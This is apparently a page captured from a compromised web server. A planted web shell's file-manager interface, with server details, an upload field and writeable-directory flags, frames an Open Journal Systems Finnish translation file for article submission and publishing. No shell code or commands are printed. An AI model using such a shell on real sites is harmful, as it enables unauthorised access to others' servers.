KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/fi_FI/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/fi_FI/submission.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:23+00:00\n"
"PO-Revision-Date: 2020-10-13 22:03+0000\n"
"Last-Translator: Antti-Jussi Nygård <[email protected]>\n"
"Language-Team: Finnish <http://translate.pkp.sfu.ca/projects/ojs/submission/"
"fi_FI/>\n"
"Language: fi_FI\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "submission.submit.title"
msgstr "Lähetä artikkeli"

msgid "submission.submit.userGroup"
msgstr "Lähetä roolissani..."

msgid "submission.submit.userGroupDescription"
msgstr "Valitse rooli, jossa lähetät tämän artikkelin."

msgid "submission.upload.selectComponent"
msgstr "Valitse artikkelin osa"

msgid "submission.title"
msgstr "Artikkelin otsikko"

msgid "submission.title.tip"
msgstr "Käsikirjoitustiedosto on yleensä muodoltaan \"kuva\", \"teksti\" tai muu multimediamuoto kuten \"ohjelmisto\" tai \"interaktiivinen\".  Valitse käsikirjoituksesi kannalta oleellisin muoto.  Esimerkkejä löytyy osoitteesta <a target=\"_blank\" href=\"http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type\">http://dublincore.org/documents/2001/04/12/usageguide/generic.shtml#type</a>"

msgid "submission.submit.newSubmissionMultiple"
msgstr "Aloita uusi käsikirjoituksen lähetys julkaisuun"

msgid "submission.submit.newSubmissionSingle"
msgstr "Uusi käsikirjoitus"

msgid "grid.action.workflow"
msgstr "Käsikirjoituksen työnkulku"

msgid "submission.issueEntry"
msgstr "Metatiedot"

msgid "submission.submit.whatNext.description"
msgstr "Julkaisulle on ilmoitettu käsikirjoituksestasi ja sinulle on lähetetty sähköpostitse vahvistus säilytettäväksi. Toimittajan arvioitua käsikirjoituksen sinuun otetaan yhteyttä."

msgid "grid.action.galleyInIssueEntry"
msgstr "Julkaistava tiedosto näkyy numeron tiedoissa"

msgid "grid.action.issueEntry"
msgstr "Katsele tämän käsikirjoituksen metatietoja"

msgid "submission.publication"
msgstr "Julkaiseminen"

msgid "submission.event.articleGalleyMadeAvailable"
msgstr "Artikkelin julkaistava tiedosto \"{$galleyFormatName}\" on nyt saatavilla."

msgid "submission.event.articleGalleyMadeUnavailable"
msgstr "Artikkelin julkaistava tiedosto \"{$galleyFormatName}\" ei ole enää saatavilla."

msgid "submission.event.publicIdentifiers"
msgstr "Käsikirjoituksen julkiset tunnisteet päivitetty."

msgid "grid.issueEntry.availableGalley.title"
msgstr "Muodon hyväksyntä"

msgid "grid.issueEntry.availableGalley.removeMessage"
msgstr "<p>Tätä julkaistavaa tiedostoa <em>ei enää näytetä</em> lukijoille.</p>"

msgid "grid.issueEntry.availableGalley.message"
msgstr "<p>Tämä julkaistava tiedosto <em>näytetään</em> lukijoille.</p>"

msgid "grid.action.availableArticleGalley"
msgstr "Aseta tämä julkaistava tiedosto saataville"

msgid "submission.galleyFiles"
msgstr "Julkaistavat tiedostot"

msgid "submission.proofReadingDescription"
msgstr "Taittaja lataa tuotantovalmiit tiedostot, jotka on tässä kohtaa valmisteltu julkaisemista varten. Käytä <em>Valitse tarkastaja</em>-painiketta valitaksesi kirjoittajia ja muita henkilöitä oikolukemaan julkaistavat tiedostot, jotka on korjattu ja ladattu hyväksyttäväksi ennen julkaisemista."

msgid "grid.action.approveProof"
msgstr "Hyväksy tämä korjausvedos sisällytettäväksi julkaistaviin tiedostoihin."

msgid "grid.action.pageProofApproved"
msgstr "Tämä korjausvedos on hyväksytty sisällytettäviksi julkaistaviin tiedostoihin."

msgid "submission.submit.titleAndSummary"
msgstr "Otsikko ja abstrakti"

msgid "submission.submit.upload.description"
msgstr "Lataa tähän käsikirjoitukseen liittyvät tiedostot, mukaan lukien itse artikkeli, multimediatiedostot, tietoaineistot, kuvamateriaali jne."

msgid "submission.pageProofs"
msgstr "Oikoluku"

msgid "submission.confirmSubmit"
msgstr "Oletko varma, että haluat lähettää tämän artikkelin julkaisuun?"

msgid "workflow.review.externalReview"
msgstr "Arviointi"

msgid "editor.submission.decision.sendExternalReview"
msgstr "Lähetä arvioitavaksi"

msgid "submission.event.issueMetadataUpdated"
msgstr "Käsikirjoituksen numeron metatiedot päivitettiin."

msgid "submission.upload.fileContents"
msgstr "Artikkelin osa"

msgid "submission.complete"
msgstr "Hyväksytty"

msgid "submission.incomplete"
msgstr "Odottaa hyväksyntää"

msgid "submission.submit.form.localeRequired"
msgstr "Valitse käsikirjoituksen kieli."

msgid "submission.submit.submissionChecklist"
msgstr "Käsikirjoituksen tarkistuslista"

msgid "submission.submit.submissionChecklistDescription"
msgstr "Sinun täytyy lukea ja vahvistaa, että täytät alla mainitut vaatimukset, ennen kuin jatkat."

msgid "submission.submit.privacyStatement"
msgstr "Tietosuojaseloste"

msgid "submission.submit.contributorRole"
msgstr "Tekijän rooli"

msgid "submission.submit.form.authorRequired"
msgstr "Vähintään yksi kirjoittaja vaaditaan."

msgid "submission.submit.form.authorRequiredFields"
msgstr "Jokaisen kirjoittajan etunimi, sukunimi ja sähköpostiosoite vaaditaan."

msgid "submission.submit.form.titleRequired"
msgstr "Syötä artikkelisi otsikko."

msgid "submission.submit.form.abstractRequired"
msgstr "Syötä artikkelisi abstrakti."

msgid "submission.submit.form.contributorRoleRequired"
msgstr "Valitse tekijän rooli."

msgid "submission.citationFormat.notFound"
msgstr "Pyydettyä viittausmuotoa ei voitu noutaa."

msgid "submission.metadataDescription"
msgstr "Nämä määritykset perustuvat Dublin Core -metatietosanastostandardiin. Se on kansainvälinen standardi, jolla kuvataan julkaisun sisältöä."

msgid "section.any"
msgstr "Kaikki osastot"

msgid "submission.abstract.wordCount.description"
msgstr "Abstraktin tulee olla korkeintaan {$wordCount} sanaa."

msgid "submission.submit.form.wordCountAlert"
msgstr "Abstrakti on liian pitkä. Tarkista pituus ja yritä uudelleen."

msgid "publication.scheduledIn"
msgstr ""
"Ajoitettu julkaistavaksi numerossa <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.publishedIn"
msgstr "Julkaistu numerossa <a href=\"{$issueUrl}\">{$issueName}</a>."

msgid "publication.required.issue"
msgstr "Artikkeli pitää lisätä numeroon ennen kuin sen voi julkaista."

msgid "publication.publish.confirmation.backIssue"
msgstr ""
"Kaikki julkaisuvaatimukset täyttyvät. Tämä julkaistaan välittömästi "
"numerossa {$issue}. Oletko varma, että haluat julkaista tämän?"

msgid "publication.publish.confirmation.futureIssue"
msgstr ""
"Kaikki julkaisuvaatimukset täyttyvät. Tämä julkaistaan, kun numero {$issue} "
"julkaistaan. Oletko varma, että haluat ajoittaa tämän julkaistavaksi?"

msgid "publication.publish.confirmation"
msgstr ""
"Kaikki julkaisuvaatimukset täyttyvät. Haluatko varmasti julkaista tämän?"

msgid "publication.issue.success"
msgstr "Julkaistavan version numeron tiedot on päivitetty."

msgid "publication.invalidIssue"
msgstr "Julkaistun version numeroa ei löytynyt."

msgid "publication.invalidSection"
msgstr "Julkaistun version osastoa ei löytynyt."

msgid "publication.datePublished.description"
msgstr ""
"Julkaisuajankohta asetetaan automaattisesti, kun numero julkaistaan. Älä "
"anna julkaisuajankohtaa, ellei sinun pidä tarkoituksella antaa artikkelille "
"varhaisempaa julkaisupäivää."

msgid "galley.publicationNotFound"
msgstr "Julkaistavaa tiedostoa vastaavaa julkaistavaa versiota ei löytynyt."

msgid "galley.editPublishedDisabled"
msgstr ""
"Julkaistavia tiedostoja ei voi muokata, koska tämä käsikirjoituksen versio "
"on jo julkaistu."

msgid "catalog.category.heading"
msgstr "Kaikki nimikkeet"

msgid "catalog.browseTitles"
msgstr "{$numTitles} nimikettä"

msgid "submission.sectionOptions"
msgstr "Osaston valinnat"

msgid "submission.submit.noContext"
msgstr "Käsikirjoitusta vastaavaa julkaisua ei löytynyt."

msgid "publication.publish.confirmation.datePublishedInPast"
msgstr ""
"Kaikki julkaisuvaatimukset täyttyvät. Tämä julkaistaan välittömästi, koska "
"julkaisupäiväksi on asetettu {$datePublished}. Oletko varma, että haluat "
"julkaista tämän?"

msgid "publication.selectIssue"
msgstr "Valitse numero julkaisun ajoittamiseksi"

msgid "publication.scheduleInissue"
msgstr "Lisää numeroon"

msgid "publication.unscheduledIn"
msgstr "Tätä ei ole ajoitettu julkaistavaksi missään numerossa."

KUNTUL | JINGKONTOT |